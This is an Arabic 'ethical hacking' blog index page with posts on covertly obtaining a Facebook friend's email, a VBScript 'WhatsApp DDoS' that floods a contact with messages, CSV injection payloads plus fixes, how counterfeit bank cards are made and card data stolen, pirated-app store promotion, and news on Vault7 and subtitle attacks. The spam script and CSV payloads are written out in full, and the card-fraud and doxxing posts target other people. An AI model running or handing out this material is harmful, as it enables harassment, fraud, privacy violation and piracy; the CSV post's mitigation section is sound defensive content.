حلقات احترافية
‏إظهار الرسائل ذات التسميات الهكر الأخلاقي. إظهار كافة الرسائل
‏إظهار الرسائل ذات التسميات الهكر الأخلاقي. إظهار كافة الرسائل

06‏/06‏/2017

درسنا  اليوم  أخي أختي الكريمة هو طريقة معرفة البريد الالكترونى او الايميل لأي شخص على الفيسبوك و بدون تهكير أو  برامج او تطبيقات فقط بطريقة بسيطة جدا.
فكما نعلم أن شركة فيسبوك لم يعد يسمح بكشف الاميلات للأصدقاء إلا بعد طلب تصريح من صاحب الحساب ، وقد تكون بأشد الحاجة إلى اميل شخص معين لسبب ما مثلا كشخص يقوم بمضايقتك على الفيسبوك وتحاول جمع اكبر كم من البيانات الممكنة للتوصل إلى هذا الشخص دون ان يعلم.



اذن اليوم سأشرح لكم طريقة  فعالة وبسيطة لاستخراج  ايميل اي شخص على الفيسبوك، ولكن الشرط الوحيد لنجاح هذة التجربة ان يكون هذا الشخص صديق لك، اي انه ان لم يكن صديقك فسيتوجب عليك ارسال طلب الصداقة له ومن تم يمكنك تطبيق هذه الطريقة للحصول على بريده الاليكترونى دون ان يعلم.

معرفة ايميل اي شخص على الفيسبوك رغما عنه

درسنا  اليوم  أخي أختي الكريمة هو طريقة معرفة البريد الالكترونى او الايميل لأي شخص على الفيسبوك و بدون تهكير أو  برامج او تطبيقات فقط بطري...
في اقراء المزيد
هناك 10 تعليقات:
التسميات: , ,

27‏/05‏/2017

القرصنة عبر الترجمة الموجودة في الأفلام هو آخر  شيء يمكن أن يتصوره العقل في مجال الإختراق ، ولكن هذا ما تم بالفعل ، فلقد تمكن فريق الحماية التابع لشركة checkpoint من إثبات عملية القرصنة عبر الترجمة في الأفلام و التي أصابت ملايين المستخدمين حول العالم .


كيف تتم القرصنة عبر الترجمة ؟
أكد الباحثون في شركة checkpoint أن ملايين الأشخاص حول العالم تعرضوا لعمليات الإختراق بينما كانوا يشاهدون بعض الأفلام أونلاين وكانوا قد فعلوا خاصية الترجمة فيها .
كما أكدوا أيضا أن مايقارب من 200 مليون مشغل فيديو يحمل في طياته هذا الفيروس الخبيث اللذي هو عبارة عن ملف ترجمة يقوم المستخدم بتحميله في قائمة الترجمة ، و ما إن ينتهي من تحميله و تشغيله ، يثبت هذا الفيروس نفسه و يقوم بالإتصال بجهاز الهاكر مباشرة ليمنحه صلاحيات كاملة للتحكم بالجهاز كيفما كان نوعه.


أشهر مشغلات الفيديو المصابة :
أكد موقع شركة checkpoint بأن أشهر مشغلات الفيديو المصابة بهذا الفيروس هي :

PopcornTime ==> يمكن تحميل النسخة اللتي وقع تحديثها عبر هذا الرابط :      هنـــا

Kodi ==> تم إصلاحها وهنا رابط التحميل الجديد :                                    هنـــا

VLC ==> تم أيضا إصلاحها و يمكنكم تنزيلها عبر موقعهم الرسمي :                   هنـــا

Stremio ==> وهذا رابط التحميل بالنسبة للنسخة الجديدة :                         هنـــا 
إليكم الشرح بالفيديو لطريقة القرصنة عبر الترجمة 

حذاري هام جدا!! كيف تتم القرصنة عبر الترجمة الموجودة في الأفلام (الشرح بالفيديو)

القرصنة عبر الترجمة الموجودة في الأفلام هو آخر  شيء يمكن أن يتصوره العقل في مجال الإختراق ، ولكن هذا ما تم بالفعل ، فلقد تمكن فريق الحماية...
في اقراء المزيد
هناك تعليق واحد:
التسميات: , ,

20‏/05‏/2017

اليوم تسريبات جديدة من ويكيليكس عن مشروع Athena/Hera v1.0 المبني لصالح #CIA من مجموعة تسريبات vault7 عن وكالة الـ  NSA
نظام او مشروع التجسس أثينا هو تطوير قوي يتعلق بمشروع Hera system للتجسس و اختراق انظمة التشغيل Windows تم تطوير المشروع بتعاون مع شركة Siege Technologies شركة مختصة بأمور الـ cyber security والحلول الامنية.
النظام بستهدف الانطمة الخاصة بـ Windows من XP لـ Win10 بلاصدارات التالية :
Windows XP Pro SP3 32-bit
Windows 7 32-bit/64-bit
Windows 8.1 32-bit/64-bit
Windows 2008 Enterprise Server
Windows 2012 Server
Windows 10.

تحليل اولي سريع عن مشروع Athena/Hera v1.0
يتكون نظام Athena من Builder و Tasker و Parser و Listening Post و Installer و RamOnly و OffLine
اول شيء بقوم الـ Builder الذي يشتغل على انطمة تشغيل Linux / Windows ومبرمج بلغة Python 3.4 على بناء حزم للاهداف المحددة حسب متطلبات الهدف الذي ينتج ملف بأسم Installer.dll لحتى يتم ارساله على جهاز الهدف لتنفيذ الاوامر علية وبعد تشغيل المثبت يقوم على تعديل سجل الهدف واسقاط ملف المضيف الافتراضي Iprcache.dll وملف ras.cache وبعدها تقوم اداة التنزيل على عمل Restart لـ Remote Access service "خدمة الوصول البعيد" وتقوم على تفعيل اربعة ملفات بامتداد AXE. الي هي "Host.dll" و "Engine.AXE" و"Command.AXE" و "Uninstall.AXE" وبعدها عملية الربط من خلال ارسال اشاره الى الـ LP الذي يعمل على معالجة الطلبات وارسال الاوامر من قبل المهاجم
ثاني شيء ألـ Tasker الذي يجهز الاوامر التي يتم ارسالها لـ الـ LP
ثالث شيء الـ Parser الذي يشتغل على نظام تشغيل Linux / Windows ومبرمج بلغة Python 3.4، يقوم على فك تشفير الـ responses التي ترجع من جهاز الهدف .
رابع شيء الـ Listening Post تم تصميم LP على خادم Apache (2.4) على نظام التشغيل Ubuntu v14.04. وايضا يستخدم لغة Python 3.4 ، مثل الواجهة التي  تتعامل مع الهدف المخترق والذي يرسل الاوامر و يعالج الطلبات وهو عبارة عن واجهة موقع بسيطة ليسهل عمل المهاجم .
خامس شيء الـ Installer يشتغل على Windows x86/x64 مبرمج بلغة ++C وضيفته بعد وصوله لجهاز الهدف يقوم بتثبيت الاداة على النظام المستهدف وهو عبارة عن DLL file.
سادس شيء الـ RamOnly تعمل على Windows x86/x64 ومبرمج بلغة ++C
تنفيذ النسخة غير المزودة بالاقراص زرع ملف DLL على النظام المستهدف
سابع شيء الـ Offline مبرمج بلغة Bash و++C وبيئة العمل Windows x86/x64 و Linux يقوم على تثبيت الاداة على النظام المستهدف الوصول الفعلى باستخدام التمهيد Windows Recovery Console او linux boot

WannaCry مجرد بداية تسريبات جديدة من حزمة vault7 عن وكالة الـ NSA لمشروع Athena/Hera v1.0

اليوم تسريبات جديدة من ويكيليكس عن مشروع Athena/Hera v1.0 المبني لصالح #CIA من مجموعة تسريبات vault7 عن وكالة الـ  NSA نظام او مشروع التجسس...
في اقراء المزيد
ليست هناك تعليقات:
التسميات: , ,

06‏/02‏/2017

سبق و تطرقنا إلى شرح هجمات الحرمان من الخدمة  التي تستهذف السيرفورات و تقوم بتدميرهم وذكرنا المواقع التي تم تعطيلها بسبب هذه الهجمة مثل Twitter, GitHub, PayPal Amazon,soundcloud , Reddit, Netflix, Spotify. و كما نعلم فأن هذه المواقع تعتبر من أكبر المواقع على الأنترنيت و تم تعطيلها بسبب هجمة  DOS أو الحرمان من الخدمة.
إذن في درسنا اليوم و الذي هو درس حصري سنتطرق إلى شرح هذه الهجمة لكن ليس على السيرفورات و إنما هذه المرة على الهواتف و كيف يمكن لأي متطفل القضاء على هاتفك فقط بمعرفة رقمك الخاص .



إذن أحبتي في الله كي أطيل عليكم سأترككم مع الشرح بالفيديو كيف يتم تدمير أي هاتف  عن بعد عبر هجمة DOS 
فرجة ممتعة
رابط شرح هجمات DOS بالتفصيل
 السكريبت 
----------------------------------------------------------------------------------------------

' InputBoxes
Contact = InputBox("With which contact do you want to make DDos?", "WhatsApp DDos By Qaiboub")
Message = InputBox("What is the message to send?","WhatsApp DDos By Qaiboub")
T = InputBox("How many times does the message need to be sent?","WhatsApp DDos By Qaiboub")
If MsgBox("Você preencheu tudo corretamente", 1024 + vbSystemModal, "WhatsApp DDos By Qaiboub") = vbOk Then

 ' Go To WhatsApp
Set WshShell = WScript.CreateObject("WScript.Shell")
Return = WshShell.Run("https://web.whatsapp.com/", 1)

 ' Loading Time

 If MsgBox("O WhatsApp Web está aberto?" & vbNewLine & vbNewLine & "Aperte Não para cancelar", vbYesNo + vbQuestion + vbSystemModal, "WhatsApp DDos By Qaiboub") = vbYes Then

 ' Go To The WhatsApp Search Bar
WScript.Sleep 50
WshShell.SendKeys "{TAB}"

 ' Go To The Contacts Chat
WScript.Sleep 50
WshShell.SendKeys Contact
WScript.Sleep 50
WshShell.SendKeys "{ENTER}"

 ' The Loop For The Messages
For i = 0 to T
WScript.Sleep 5
WshShell.SendKeys Message
WScript.Sleep 5
WshShell.SendKeys "{ENTER}"
Next

 ' End Of The Script
WScript.Sleep 3000
MsgBox "DDosing no " + Contact + " foi feito com sucesso", 1024 + vbSystemModal, "DDos feito"

 ' Canceled Script
Else
MsgBox "O processo foi cancelado com sucesso", vbSystemModal, "DDos Cancelado"
End If
Else

End If

----------------------------------------------------------------------------------------------

كيف يتم تدمير أي هاتف عن بعد عبر هجمة DOS (احمي هاتفك)

سبق و تطرقنا إلى شرح هجمات الحرمان من الخدمة   التي تستهذف السيرفورات و تقوم بتدميرهم وذكرنا المواقع التي تم تعطيلها بسبب هذه الهجمة مثل  ...
في اقراء المزيد
ليست هناك تعليقات:
التسميات: ,

25‏/10‏/2016

أكيد أنكم سمعتم عن الهجوم الذي شُنَّ مؤخرا على أكبر المواقع و الذي تسبب في تعطيل عدد كبير منها مثل Twitter, GitHub, PayPal Amazon,soundcloud , Reddit, Netflix, Spotify. حيث استهذف هذا الهجوم سيرفرات DNS الخاصه بشركه DynDns و قد  أشارت التقارير الاولية إلى إستخدام اجهزه IOT في الهجوم والتي وصلت لاكثر من 160 الف جهاز.
و لقد انتاب العديد من الأشخاص المهتمين بمجال المعلوميات و الغير المهتمين الفضول لمعرفة هذا الهجوم وكيف  تم، و ما هي الطرق الذي استخدمت، و لاحظنا أيضا تردد عبارتي DOS و DDOS في مواقع التواصل الاجتماعية بخصوص هذا الموضوع، لهذا في تدوينة اليوم سنتطرق إلي شرح هجمات الحرمان من الخدمات أو  هجمات حجب الخدمة كما يسميها البعض (DOS Attacks)، و هي الهجمات التي استخدمت في الهجوم الكارثي الذي وقع يوم أمس.

محتويات:

  1. تعريف هجوم الحرمان من الخدمة

  2. ماهو الفرق بين هجمات DOS وهجمات DDOS ؟

  3. ماهي شبكات  BOTNET ؟


1 - تعريف هجوم الحرمان من الخدمة
كلنا يعلم أنه لكل شيء في هذه الحياة حدود وتبقى مقدار قوته  محدوده مهما وصل من القوة، و هذا ما ينطبق أيضا في مجال امن المعلوميات، حيث أنه أي جهاز يتواجد على الأرض له حدود من الطاقة والسرعة لا يستطيع تجاوزها، و حتى مع تطور العلم والتكنولوجيا بالأخص، تبقى قوة المعالجات والحواسيب محدوده مهما بلغت من سرعة، وتبقى أيضا كمية البيانات التي تعالجها محدوده، مهما بلغت هذه البيانات من ضخامه، فالحواسيب محدود بكمية معينة تستطيع معالجتها  فإن زادت هذه البيانات خارج طاقة هذه الحواسيب لا تستطيع تحملها وتنهار، و هذا هو مبدأ عمل هجمات الحرمان من الخدمة (DOS Attacks) بكافة أنواعها.
إذن بكل بساطة فمبدأ عمل هاته الهجمات هو اغراق الهدف ( الاجهزة المراد تدميرها ) بكمية ضخمة من الطلبات والبيانات حتى نصل إلى حجم أكبر من طاقة الهدف فينهار أو يخرج عن الخدمة وبهذا حققت هدفي واستطعت إيقاف ذلك الهدف من العمل أو حرمان من يستخدم ذلك الهدف من الاستفادة منه، ومن هذا المفهوم تم تسميتها هجمات الحرمان من الخدمة (Denial Of Service Attacks)، هذا النوع من الهجمات يُدعى في بعض الأوساط “بإيدز الإنترنت” بسبب انه ليس له علاج حتى الآن، فمهما بلغت مواصفات الهدف وسرعته وقدرته على معالجة واستقبال الطلبات يبقى ضمن رقم محدد من الطلبات مهما كان كبير و لا يستطيع أن يستقبل طلبات اكثر من ذلك العدد، فتبقى هذه الهجمات من أكثر الهجمات خطورة على شبكة الأنترنت و التي تهدد الدول والحكومات وكل الشبكات، لأنها في عرضة لتعرض هجمات الحرمان من الخدمة وانهيار شبكاتها وأجهرتها .  
هذه الهجمات تصنف الى قسمين :
1- (DOS = Denial of Service Attacks) هجمات الحرمان من الخدمة
2- (DDOS = Distributed Denial of Service Attacks) هجمات الحرمان من الخدمة الموزع

2- ماهو الفرق بين هجمات DOS وهجمات DDOS ؟

إذن نحن نعلم أنه عند تواجد الهكرز الغير الأخلاقيين فهناك هكرز أخلاقيين، أو المتخصصين في الأمن المعلوماتي والباحثين دائما عن حلول أمنية للتصدي لمثل هذه الهجمات، لهذا فنحن لن نقف مكتوفي الايدي لهذه الهجمات، إذن هذا ما وقع حيث ظهرت بعض الحمايات التي تصد من هجمات الحرمان من الخدمة، بحيث تعمل على وضع قواعد وسياسات بكمية معينة من الطلبات التي يمكن استلامها، على سبيل المثال يمكن أن يستلم الهدف 15 طلبات في الثانية الواحدة من المستخدم ، إذا زادت هذه الطلبات فأنه يتم تجاهلها ولا يتم قبلوها أو الانشغال بمعالجتها، لذلك لا يشكل هذا تأثير على الهدف ولا يمكنني من زيادة الطلبات عليه والتسبب في انهياره أو خروجه عن الخدمة، وقد يتم بشكل تلقائي حظر ذلك المهاجم الذي يحاول أن يرسل العديد من الطلبات والبيانات ولا يتم استلام منه أي طلبات اخرى. و بسبب مثل هذه الحمايات التي تحدد الطلبات وكميتها لا يمكن لأي شخص أن يرسل طلبات كثيره فسوف يتم حضره، وهنا يأتي ظهور مايسمي بشبكات البوت نت (BOTNET)  قبل أن نتحدث عن ماهي شبكات البوت نت ، دعوني أوضح كيف تعمل هذه الشبكات.
نحن متفقين على أن الهدف يملك حماية رائعة بسببها لم استطيع تنفيذ الهجوم وإرسال عدد كبير من الطلبات، لكن نعلم أن الهدف لا يقوم بتحديد كمية معينة من الطلبات الذي يستلمها بشكل طبيعي، بل يقوم بتحديد كمية معينة من الطلبات الذي يستلمها من طرف المستخدم الواحد، حيث يستلم عدد معين من الطلبات الذي يرسلها كل مستخدم، وأخدنا على سبيل المثال 15 طلبات في الثانية لكل مستخدم ، في هذه الحالة اذا كان لدينا 1000000 مستخدم يسمح لكل واحد منهم بـ 15 طلبات إذن العدد الكلي الذي سيستقبله الهذف يساوي تقريبا 15000000 طلب في الثانية هذا رقم مخيف جدا ولا يمكن لأي سيرفر تحمل هذا الكم من الطلبات في حالة كانت الطلبات من اجهزه تحمل خط انترنت سريع وتنقل باندويث عالي على السيرفر سوف ينهار في الفور، ولكن السؤال الآن كيف للمهاجم أن يحصل على 1000000 مستخدم ويستغلهم للهجوم ؟ لا تقلق سوف أوضح لك كيف يحصل المهاجم على هذا العدد من المستخدمين، وهنا يأتي هجوم DDOS الذي يقصد به استغلال كمية من الناس في مساعدتك في تنفيذ هجمات الحرمان من الخدمة وتنفيذ الهجوم على أي هدف تريد لا يوجد أي شيئ يمكنه إيقافك، لأنك في الواقع لم تقوم بأي شي غير شرعي على حسب قواعد الجدار الناري للسيرفر، تم تحديد 15 طلب و نحن لم نخرج عن القاعدة طلبنا 15 طلب فقط لكن الخدعة هي أن هناك 15 طلب من الألاف من المستخدمين .

3- ماهي شبكات  BOTNET ؟




هل تعلم أن دودة Santy التى أطلقت فى 20 ديسمبر 2004 قامت بتدمير أكثر من 40 ألف موقع فى أقل من 24 ساعة فقط .
هل تعلم أن ( دودة كونفيكر – 2008) أصيب بها نحو 15 مليون خادم من خوادم مايكروسوفت الأمر الذى دفع مايكروسوفت فى فبراير 2009 إلى الإعلان عن مكافأة بقيمة 250 ألف دولار لأى شخص يدلى بمعلومات عن مصممى هذه الدودة .
هل تعلم ان (دودة ILOVEYOU) اصابت 50 مليون جهاز في عام 2000 .
والعديد والعديد من الفايروسات القاتلة على شبكة الإنترنيت ، خاصة مع تطور أساليب الاختراق.

هل فكرت لماذا يتم صنع مثل هذه الفايروسات وماهو الغرض من هذا الانتشار المخيف، الأمر واضح قد يكون هناك فايروس له مهمة معينة مثل سرقة بعض البيانات او تنفيذ أمر معين يفيد صاحب الفايروس، او تروجان يصيب جهازك ويجعلك تحت رحمة صاحب التروجان او الدودة، إذن إذا قام بصنع دودة او فايروس وأصابت هذه الدودة 5000 جهاز سوف يكون تحت رحمة المهاجم 5000 جهاز يستخدمهم لهجمات الحرمان من الخدمة، على سبيل المثال لدينا الآن شبكة كبيره من الضحايا سوف اعطيهم امر من خلال البرنامج الذي أتحكم به بالفايروس واخبر الأجهزة جميعكم اطلبوا الموقع الفلاني الكثير من الطلبات . وبهذا حققنا الهجوم وتم تنفيذ هجموم الحرمان من الخدمة الموزع DDOS، الصورة في الأعلى توضح الهجوم.


شرح مفصل لهجمات الحرمان من الخدمة DOS/DDOS و الفرق بينهم و ماهي شبكات BOTNET ؟

أكيد أنكم سمعتم عن الهجوم الذي شُنَّ مؤخرا على أكبر المواقع و الذي  تسبب  في تعطيل  عدد كبير منها  مثل Twitter, GitHub, PayPal Amazon,sound...
في اقراء المزيد
ليست هناك تعليقات:
التسميات: ,

30‏/09‏/2016

⁠⁠⁠في هذه التدوينة أحبتي في الله سنتعرف على ثغرة من ثغرات تطبيقات الويب التي تم اكتشافها سنة 2014 من طرف شركة contexte و التي تسمي بــ CSV Injection  حيث في شرح اليوم سنتعرف على هذه الثغرة وسنتطرق الى  كيفية تفادي هذا النوع من الثغرات، الذي عادةً يتم استغلاله عن طريق حقن اكواد في forms، و التي تصدر بعد ذلك في هيئة ملف CSV.

 و يتم تشغيل الملف المصاب (ملف CSV) في برامج مخصصة لذلك، و من أشهرها هو Microsoft Excel، و في ذلك الوقت يتم تشغيل الحقن و تفعيل الكود.

 و بعد ذلك يتم استغلال الثغرة ضد من يقوم بتحميل الملف و تشغيله.يتم تجاهل هذا النوع من الثغرات كثيرا من المواقع و الشركات،و لاعتماد الهجوم الكاملعلى الضحية تشغيل الcommand المحقون. و لكن يجب معرفة ان هذه الثغرة و ان لم تكن خطيرة في البداية، فهي قد تؤدي الي Command Execution  علي الكمبيوتر المصاب.
يمكن  للمخترق من خلال هذه الثغرة وضع امر تنفيذي خاص مثلا بنظام تشغيل ويندوز كامر تشغيل الالة الحاسبة و يمكن ان يكون الامر مختلفأ كستغلال لثغرة عبر منصة ميتاسبلويت او غيرها , يمكن للضحية فتح ملف CSV و ان يتم استغلال جهازوا من خلال ملف بسيط لا يمكن لمستخدم بسيط ان يشك فية.
مثال على ذلك : 

 هناك العديد من الpayloads لشرح و برهنة وجود هذا النوع من الثغرات، و لكن اشهرها هو الآتي:


cmd|’ /C calc’!A0=

الـ payload المذكور أعلاه يقوم بإعلام البرنامج المُستخدم لتشغيل الملف المصاب بأنه يريد استخدام برنامج cmd.exe (علي أنظمة الويندوز)  وذلك باستخدام الامر  C calc/  ، و الذي سيقوم بدوره بتشغيل اﻵلة الحاسبة  (calc.exe) في أنظمة الويندوز. يمكن أيضا استغلال الثغرة عن طريق إضافة @، +، أو – في بداية الـ payload بدلاً من =، المثال التالي يوضح طريقة الاستغلال:
SUM(1+1)*cmd|’ /C calc’!A0@

 في المثال الثاني أعلاه يعمل الـ payload عن طريق استخدام دالة SUM، و التي تقوم بجمع القيم المعطاة لها، ثم تقوم بضرب الناتج في باقي الـ payload، و الذي هو أول payload شرحناه في هذا المقال.

 طبعا لن يكون هناك ناتج حسابي حقيقي في هذه الحالة، و لكن سوف يتم تشغيل الـ command المحقون .
حلول و طرق علاج الثغرة:

بدايةً يجب التأكد من أن كل مدخل يجب ان يكون في هيئة alpha-numeric، بمعني ان يكون المدخل إما حرف من حروف اللغة الإنجليزية أو رقم من 0 إلي 9، و ذلك عبر فلترة كل مدخل و التأكد من كل حرف.
كما هو الحال في طرق الحماية ضد معظم الثغرات، و علي الرغم من أننا فلترنا كل المدخلات، يجب عدم الثقة في أي مدخل من المستخدم و يجب encoding أي character قد لا يكون في هيئة alpha-numeric.

المشكلة في هذا النوع من الثغرات ليس في وجود @، +، -، أو = في بداية الـ payload، بل في وجود الـ | ، و الذي تعتبره معظم البرامج المستخدمة لتشغيل ملفات الCSV إشارة لتنفيذ أمر خارجي مثل cmd.exe أو powershell.exe. الحل الأمثل لهذه المشكلة يكمن في إضافة \ قبل ال |. فمثلا إذا كان الpayload الأصلي كالآتي:

cmd|’ /C calc’!A0=
يكون الpayload الناتج:

cmd\|’ /C calc’!A0=
و الذي سيمنع الpayload من التشغيل، و من ثم حماية المستخدم من هذا النوع من الثغرات.
يمكن توضيح هذه العملية من خلال كتابة كود python بسيط. يمكن رؤية الكود في الصورة التالية:



 في الكود الموضح أعلاه يتم تعريف function تقوم بالتحقق من أول حرف من المدخل. إذا كان الحرف واحد من @، +، -، =، أو | يتم استخدام replace لتغيير أي | في الpayload ل |\. بعد ذلك يتم وضع الناتج بين علامتي ‘، و ذلك لعرض الpayload كنص بدلا من formula.

 إذا تم تشغيل الكود المذكور يصبح لدينا الناتج التالي:

تعرف على ثغرة CSV Injection و كيفية تفادي هذا النوع من الثغرات،

⁠⁠⁠في هذه التدوينة أحبتي في الله سنتعرف على ثغرة من ثغرات تطبيقات الويب التي تم اكتشافها سنة 2014 من طرف شركة contexte و التي تسمي بــ CSV ...
في اقراء المزيد
ليست هناك تعليقات:
التسميات: ,

09‏/09‏/2016

في ضَل التقدم التكنلوجي الذي عرفه العالم خلقت فرص شغل جديدة كالبرمجة  والبرمجة هي  عبارة عن مجموعة من الاوامر يتلقاها الحاسوب حيث يقدرهذا الاخيرعلى تطبيقها تحت إشراف المبرمج  ولمن يريد تعلم هده التقنية أحضرت لكم اليوم وبعد بحت طويل في متجر جوجل تطبيق رهيب مجاني يمكنك من تعلم أشهر لغات البرمجة المتمتلة في JAVA وPHP ثم SCC وC .
وأكتر من 10 لغات أخرى متواجدة فيه

كل هذا وأكتر تجدونه في تطبيق اليوم تحت اسمProgramming Hub  وهذا التطبيق خاص بنظام الاندرويد متوفر بالطبع في متجر جوجل بلاي وقد فاقت نسبة تحميله مليون شخص كدليل على نجاعته زد عاى ذلك سهولة استخدام التطبيق وخلوه من الاشهارات المزعجة ستجد في التطبيق أسئلة تطبيقية للاوامر البرمجية  في اطار الاستعداد للامتحان او مقابلة عمل

يبقى Programming Hub أسهل وسيلة لتعلم أشهر لغات البرمجة بميزات عالية حيت لن يرتبط وقة تعلمك بجدول زمن معين لتواجده على محمولك
                                                                                      
                                                               

أسهل طريقة لتعلم البرمجة

في ضَل التقدم التكنلوجي الذي عرفه العالم خلقت فرص شغل جديدة كالبرمجة  والبرمجة هي  عبارة عن مجموعة من الاوامر يتلقاها الحاسوب حيث يقدره...
في اقراء المزيد
ليست هناك تعليقات:
التسميات: ,

09‏/08‏/2016

لا بد أنك قد اندهشت قليلا من عنوان درسنا اليوم لكن الحقيقة التي يغفل عنها أغلب المستخدمين هي أنه حقا شركة مايكروسوفت تتجسس عليك و ذلك من خلال نظام التشغيل ويندوز التابع لها ، حيث أنها تقوم بالتجسس و تتبع خطوات مستخدميها على الحاسوب عن طريق نظام التشغيل ويندوز دون أن تعلم أنت بذلك ، لهذا في هذا الشرح سوف نتعرف معا على كيفية منع مايكروسوفت من التجسس على حاسوبك .




قد يخطر في بالك أن منع مايكروسوفت من التجسس على الويندوز الخاص بك أمر غير مهم ، لكنه في حقيقة الأمر هو بالغ الأهمية ، حيث أنك في كل مرة تقوم فيها بتشغيل حاسوبك الخاص و الإتصال بالأنترنت فإن الكمبيوتر يقوم و بشكل تلقائي بالإتصال مع سيرفر مايكروسوفت و إرسال سجلات تحتوي على معلومات عنك و تتبع كل ما تقوم به على حاسوبك الشخصي


و لكي تمنع مايكروسوفت من التجسس عليك و أخد جميع بياناتك إليك هذه الخطوات التي يجب القيام بها, تابع معي الشرح بالفيديو أخي الكريم






الآن مبروك عليك لأنك بعد أن قمت بهذه الخطوات فأنت قد منعت مايكروسوفت من التجسس عليك تماما

شركة مايكروسوفت تتجسس عليك كيف تمنعها من ذلك

لا بد أنك قد اندهشت قليلا من عنوان درسنا اليوم لكن الحقيقة التي يغفل عنها أغلب المستخدمين هي أنه حقا شركة مايكروسوفت تتجسس عليك و ذلك من خ...
في اقراء المزيد
ليست هناك تعليقات:
التسميات: , ,

21‏/05‏/2016

ACMarket لتحميل التطبيقات و الالعاب المدفوعة مجانا للاندرويد
مميزات ACMarket

الميزة 1 : تنزيل التطبيقات المدفوعة مجانا و توفير المال

ان كنت من مدمني ألعاب الاندرويد الاحترافية و التطبيقات المميزة الخاصة بالاندرويد فلا شك أنك قد قمت من قبل بشراء تطبيقات مدفوعة من متجر سوق بلاي , الآن مع متجر ACMarket يمكنك توفير مزيد من المال و الحصول على التطبيقات المدفوعة بالمجان دون دفع أي سنت .
التصفح

الميزة 2 : تحميل التطبيقات APK للاندرويد انطلاقا من

برنامج ACMarket يوفر لك أيضا ميزة إضافية و هي امكانية تحميل التطبيقات أو الألعاب الخاصة بالاندرويد انطلاقا من المتصفح و ذلك عن طريق الموقع الرسمي للمتجر دون الحاجة الى تنصيب التطبيق كما أنه يمكنك ايضا الولوج الى هذا الموقع عن طريق الكمبيوتر و تحميل التطبيقات APK على الكمبيوتر.

الميزة 3 : توفير جميع التطبيقات للتحميل في صيغة َAPK

بعد تحميل متجر ACMarket و تجربة تنزيل تطبيق أو لعبة منه على جوالك ستلاحظ أن جميع التطبيقات التي تحمل هي في صيغة APK و هاته أيضا ستنفعك كثيرا حيث يمكنك مشاركة الملف مع اصدقائك دون تضييع المزيد من بيانات الانترنت عكس السوق بلاي الذي يجعل كل شخص يضطر الى اعادة تحميل التطبيق في حالة كان قد حذفه من جهازه .

الميزة 4 : التحميل سريع جدا و بدون اعلانات

متجر ACMarket يوفر لك رابط مباشر لتحميل و بسرعة غير محدودة و بدون اي اعلانات

الميزة 5 : تنظيم و تصنيفات عديدة للتطبيقات

متجر ACMarket يحتوي حتى الآن على الاف التطبيفات مقسمة حول 25 تصنيف مختلف مثل الكتب و الصحة و المال و الاعمال و التسوق و التصوير و الرياضة و الألعاب و الطقس و النقل و التعليم و الشات كما أنه يحتوي على أقسام مثل آخر التطبيقات و أفضل 20 تطبيق.
برنامج ACMarket هو متجر من متاجر التطبيقات المخصصة للهواتف و اللوحات الالكترونية التي تعمل تحت نظام الاندرويد. ACMarket يحتوي على الآلاف من التطبيقات و الألعاب المميزة بالمجان و الرائع هو أنه يقوم بتوفيرها للتحميل بضغطة واحدة و بسرعة غير محدودة كما أنها في صيغة APK.اضافة الي هذا ACMarket يعمل بسرعة و خفة و كفاءة عالية على اجهزة الاندرويد .

حبيبكم AYYOUB STARVIRUS

ACMarket لتحميل التطبيقات و الالعاب المدفوعة مجانا للاندرويد

ACMarket لتحميل التطبيقات و الالعاب المدفوعة مجانا للاندرويد مميزات ACMarket الميزة 1 : تنزيل التطبيقات المدفوعة مجانا و توفير الم...
في اقراء المزيد
ليست هناك تعليقات:
التسميات: , , , , , ,

20‏/05‏/2016


بسم الله الرحمن الرحيم السلام عليكم ورحمة الله وبركاته في هذه التدوينة سنشرح 

كيف يتم تصميم البطاقات البنكية المزورة. فالبطاقات المزورة هي نسخة للبطاقات الحقيقية ولكن في أغلب الاحيان لا تستعمل فيها الأدوات الأصلية, وذالك يعزو لخصوصية تلك الالات والتي تعتبر حكرا على الحكومات حتى لا تقع في أيدي المتطفلين.



لكن قراصنة النت أو الهاكر هم قادرين على الحصول على هاته المعدات بأثمنة زهيدة وحتى بدون العناء أو السفر لجلبها وذالك  عبــر مواقع البيع والشراء مثلebay, amazon,bestbuy وغيرها . أو عبر المافيات . 

 

السؤال : كيف يتم سرقة المعلومات التي توضع في تلك البطائق ؟
هناك طرق عديدة منها :
 - Sniffing أي الشم على الشبكة وخاصة إذا لم تكن الشبكة مشفرة,
- ثغرات موجودة في قواعد البيانات للموقع أو البنك وأغلبها SQl injection,
- شراء البطائق من السوق السوداء وأغلبها موجودة على الانترنيت المظلم أو Darknet,
- لكن أغلب هذه الطرق : الخداع أو السبام. يعني تتبيث سوفتواير أو كايلوجر يسمح بتتبع كل ما يكتبه الضحية في الجهاز.

بعد الحصول على هذه  المعلومات و هي الأرقام التي على البطاقة. يبقى فقط طبع تلك المعلومات على بطائق فارغة , ومن ثم استخدامها في البيع والشراء عبر الأنترنيت أو اغراض أخرى. أما مسألة التخفي فهناك طرق عديدة لن نتطرق اليها بشكل مباشر.لكي لا نعرض موقعنا للغلق DZL
سأتركم تشاهدون العملية التي تمر منها صناعة البطائق البنكيةباختصار وكيف يقوم قراصنة الانترنيت ( الهاكر ) بطباعة البطاقات حتى تظهر بشكل حقيقي .

شرح كيف يتم تصميم البطاقات البنكية المزورة بشكل احترافي

بسم الله الرحمن الرحيم السلام عليكم ورحمة الله وبركاته في هذه التدوينة سنشرح  كيف يتم تصميم البطاقات البنكية المزورة. فالبطاقات  المز...
في اقراء المزيد
ليست هناك تعليقات:
التسميات: ,

13‏/04‏/2016

وصلتني مجموعة من الأسئلة بعد أن أصبحنا نسمع كثيرا هذه الأيام بخصوص هذه الرسالة التي أصبحت تظهر على شاشة مستخدمي الواتساب  و قام بعض المدونين المغاربة بطرح فيديو و قاموا بشرح هذه الرسالة حيث قالوا على  أنها تعني أن الواتساب أصبح مشفرا و لا يمكن لأي شخص التجسس عليك من اليوم. لكن أنا لا أوفقهم الرأي لأنك ما لا تعلمه عزيزي القارئ أن الواتساب كان مشفرا قبل أن يقوم بهذه الدعاية لكنه كان يستعمل تشفير من نوع آخر أما الآن فشركة واتساب أصيحت تستعمل تشفير من نوع خاص و هو  "end-to-end encryption" و الذي يعني من الهاتق إلى الهاتف ليس كسابقه الذي كان من الشبكة. 


